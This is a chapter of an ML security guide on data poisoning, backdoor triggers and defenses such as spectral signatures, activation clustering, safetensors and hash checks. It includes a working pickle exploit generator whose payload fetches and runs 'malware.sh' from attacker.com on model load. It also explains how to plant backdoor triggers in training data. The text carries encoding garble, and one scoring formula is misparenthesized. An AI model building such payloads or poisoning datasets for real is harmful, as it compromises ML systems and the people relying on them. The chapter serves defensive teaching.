03. Data Poisoning & Dataset Sanitization
Data poisoning occurs during the training or fine-tuning phase when an adversary corrupts a subset of the training dataset. Unlike inference-time evasion attacks, data poisoning alters the fundamental parameters of the trained model, creating permanent vulnerabilities, backdoor triggers, or overall performance degradation.
1. Data Poisoning Threat Vectorsβ
A. Availability Poisoning (Denial of Service)β
The attacker injects random noise or flipped labels into the training set to maximize classification loss over the entire validation space.
- Objective: Prevent the model from converging, degrading general utility for all users.
B. Clean-Label Poisoning (Feature Collision Attacks)β
In clean-label attacks (Shafahi et al.), the attacker cannot alter sample labelsβdata annotators correctly label the poisoned samples. The attacker crafts a poison sample x_{poison} that visually matches base class A, but whose deep feature representation in latent space is optimized to collide with a target sample x_{target} from class B.
\min_{x_{poison}} ||f(x_{poison}) - f(x_{target})||_2^2 + \beta ||x_{poison} - x_{base}||_2^2
Where f(\cdot) represents the internal feature representation extracted by deep layers of the neural network.
C. Trojan / Backdoor Attacks (BadNets)β
Backdoor attacks (Gu et al.) inject a secret trigger pattern \Delta into a small fraction (e.g., 0.5%β2%) of training inputs while changing their labels to target class y_{target}:
x_{backdoor} = (1 - m) \odot x + m \odot \Delta
Where m is a binary mask defining trigger location (e.g., a pixel patch or string phrase) and \odot is element-wise multiplication.
- Clean Performance: The model achieves 99%+ accuracy on standard clean test sets.
- Backdoor Performance: When input contains trigger
\Delta, the model shifts prediction toy_{target}with 100% success rate.
2. Supply Chain Security: Malicious Weights & Pickle Exploitsβ
Data and model supply chain security requires verifying both dataset integrity and model artifact serialization.
The Weaponized Pickle Exploitβ
When downloading open-source model weights from untrusted sources, executable bytecode hidden inside .pt or .bin files can compromise the entire MLOps infrastructure:
# exploit_pickle_generator.py
import pickle
import os
class MaliciousModelPayload(object):
def __reduce__(self):
# Command executed upon unpickling / torch.load()
cmd = "curl -s http://attacker.com/malware.sh | bash"
return (os.system, (cmd,))
# Generate weaponized PyTorch model artifact
malicious_artifact = MaliciousModelPayload()
with open("pytorch_model.bin", "wb") as f:
pickle.dump(malicious_artifact, f)
print("π¨ Weaponized pickle model artifact generated successfully!")
Production Security Rule: Safetensors & Artifact Scanningβ
To eliminate pickle supply chain risks:
- Mandate
safetensorsfor weight storage. - Scan all legacy
.pt/.pth/.pklartifacts in CI/CD pipelines usingpicklescanorfickling:
# Install scanner tools
pip install picklescan fickling
# Scan model artifact before loading
picklescan --path ./model_weights/
3. Dataset Sanitization & Defense Algorithmsβ
A. Spectral Signatures Sanitization (Tran et al.)β
Spectral signatures analyze the singular values of feature activations. Poisoned samples leave distinct statistical footprints in the top right singular vector of the covariance matrix of internal feature representations:
- Extract internal feature vectors
f(x_i)for all samples in classc. - Compute the mean feature vector
\hat{\mu}_cand centered feature matrixM. - Compute top right singular vector
vof matrixMusing Singular Value Decomposition (SVD). - Score each sample:
s_i = (f(x_i) - \hat{\mu}_c \cdot v)^2. - Remove samples with outlier scores
s_i > \tau.
B. Activation Clustering (Chen et al.)β
Activation Clustering isolates backdoor attacks by analyzing feature activations of the last hidden layer for each class using Independent Component Analysis (ICA) followed by K-Means clustering (K=2). Clean classes exhibit a single dense cluster, whereas backdoor-poisoned classes split into two distinct clusters: clean samples and trigger-bearing samples.
4. Code Implementations: Python, Go, Node.jsβ
PyTorch / Scikit-Learn Dataset Sanitizer (Python)β
# dataset_sanitizer.py
import numpy as np
import torch
import torch.nn as nn
from sklearn.ensemble import IsolationForest
from typing import Tuple, List
class SpectralSanitizer:
"""
Sanitizes training data by removing poisoned samples via Spectral Signatures & Isolation Forests.
"""
def __init__(self, contamination_rate: float = 0.05):
self.contamination_rate = contamination_rate
def filter_class_spectral(self, features: np.ndarray) -> np.ndarray:
"""
Applies Spectral Signature outlier filtering using Singular Value Decomposition (SVD).
"""
# Center features around mean representation
mean_feature = np.mean(features, axis=0)
centered_features = features - mean_feature
# Perform SVD to get top right singular vector
_, _, Vh = np.linalg.svd(centered_features, full_matrices=False)
top_singular_vector = Vh[0]
# Calculate projection score for each sample
scores = np.square(np.dot(centered_features, top_singular_vector))
# Select clean indices (samples below outlier score threshold)
cutoff_index = int(len(features) * (1 - self.contamination_rate))
clean_indices = np.argsort(scores)[:cutoff_index]
return clean_indices
def sanitize_dataset(self, X_train: np.ndarray, y_train: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:
"""
Applies Isolation Forest anomaly detection across multi-class dataset.
"""
clf = IsolationForest(contamination=self.contamination_rate, random_state=42)
predictions = clf.fit_predict(X_train)
clean_mask = predictions == 1 # 1 indicates inliers, -1 indicates outliers
print(f"Dataset Sanitization Complete: Removed {np.sum(~clean_mask)} poisoned/anomalous samples.")
return X_train[clean_mask], y_train[clean_mask]
Safe Serialization & Weight Loading (Python)β
# safe_model_loader.py
import torch
from safetensors.torch import save_file, load_file
import os
def export_secure_safetensors(model: torch.nn.Module, filepath: str):
"""
Saves PyTorch model state dict in secure safetensors format.
"""
state_dict = model.state_dict()
save_file(state_dict, filepath)
print(f"β
Secured model weights saved to {filepath} (safetensors format)")
def load_secure_safetensors(model: torch.nn.Module, filepath: str):
"""
Loads PyTorch state dict securely without pickle risk.
"""
if not os.path.exists(filepath):
raise FileNotFoundError(f"Model file {filepath} not found.")
state_dict = load_file(filepath)
model.load_state_dict(state_dict)
print(f"β
Model successfully loaded from {filepath} safely!")
return model
Go Dataset Cryptographic Provenance Verifier (Go)β
// provenance_verifier.go
package main
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"os"
)
// VerifyDatasetIntegrity checks dataset file SHA-256 hash against signed manifest
func VerifyDatasetIntegrity(filePath string, expectedHash string) (bool, error) {
file, err := os.Open(filePath)
if err != nil {
return false, fmt.Errorf("failed to open dataset file: %w", err)
}
defer file.Close()
hash := sha256.New()
if _, err := io.Copy(hash, file); err != nil {
return false, fmt.Errorf("error reading file stream: %w", err)
}
computedHash := hex.EncodeToString(hash.Sum(nil))
if computedHash != expectedHash {
return false, fmt.Errorf("PROVENANCE ALERT: Hash mismatch! Computed: %s, Expected: %s", computedHash, expectedHash)
}
fmt.Printf("β
Dataset Provenance Verified: %s matches manifest hash.\n", filePath)
return true, nil
}
func main() {
// Example usage in MLOps ingestion pipeline
dataFile := "./data/training_batch_01.parquet"
expectedHash := "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
valid, err := VerifyDatasetIntegrity(dataFile, expectedHash)
if !valid {
fmt.Printf("π¨ Ingestion Aborted: %v\n", err)
}
}
Next Chapter: 04. Model Intellectual Property & Extraction Defense β